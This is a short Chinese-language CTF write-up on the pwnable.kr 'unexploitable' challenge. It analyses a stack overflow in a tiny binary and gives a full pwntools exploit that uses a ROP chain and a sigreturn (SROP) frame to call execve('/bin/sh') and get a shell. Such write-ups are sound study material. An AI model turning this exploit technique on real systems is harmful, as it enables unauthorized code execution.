前言
这是一道关于linux SROP
的题目,通过系统sigrenturn调用来控制程序流程。
分析
这道题的逻辑很简单,贴出反编译代码1
2
3
4
5
6
7int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]
sleep(3u);
return read(0, &buf, 1295uLL);
}
观察main
函数,发现它有栈溢出漏洞。首先想到的利用方法是通过栈溢出修改程序流程,然后使用可读取内存的函数来leak出system
的地址。可是通过ida发现当前的got表中并没有可以读内存的函数。
焦虑了一会儿,后来上网一搜,发现还有linux SROP
的利用方法(参考Linux SROP 原理与攻击)。只需通过linux的sigreturn系统调用,把栈上的数据依次pop到寄存器中即可完成利用。我这里,通过该调用直接执行了execve('/bin/sh')
获得shell。下面是exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44from pwn import *
context(arch='amd64')
leave_addr = 0x400576
read_got = 0x601000
main_addr = 0x400544
frame_base = 0x601028
data_base = 0x601018
pop_rbp = 0x400540
gadget_1 = 0x4005e6 #mov rbx,[rsp+8h];mov rbp,[rsp+10h];mov r12,[rsp+18h];mov r13,[rsp+20h];\
#mov r14,[rsp+28h];mov r15,[rsp+30h];add rsp,38h;ret;......;ret
gadget_2 = 0x4005d0 #mov rdx,r15;mov rsi,r14;mov edi,r13d;call qword ptr [r12+rbx*8]
syscall_addr = 0x400560 #syscall
#r = process("./unexploitable")
#gdb.attach(r,"b * 0x400577")
#sleep(1)
s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)
r = s.run('./unexploitable')
def read_poc(addr,maxlen):
tmp = p64(gadget_1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(addr)+p64(maxlen)
tmp += p64(gadget_2)+'a'*0x38
return tmp
# write sigreturn frame
frame = SigreturnFrame(kernel='amd64')
frame.rdi = data_base # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rax = 59
frame.rip = syscall_addr
poc = 'a'*24+read_poc(frame_base,0x500)+p64(main_addr)
r.send(poc.ljust(1295,'\x00'))
sleep(0.1)
poc = p64(0)+p64(syscall_addr)+str(frame)
r.send(poc.ljust(0x500,'\x00'))
poc = 'a'*24+read_poc(data_base,15) # rax = 15 && write "/bin/sh" to data_base
poc += p64(pop_rbp)+p64(frame_base)+p64(leave_addr) # rsp => bss_base
r.send(poc.ljust(1295,'\x00'))
sleep(0.1)
r.send("/bin/sh".ljust(15,'\x00'))
sleep(0.1)
r.interactive()
1 | root@kali:/mnt/hgfs/work/jarvisoj# cd ../pwn-1 |
总结
恩,又学到了新的利用方法。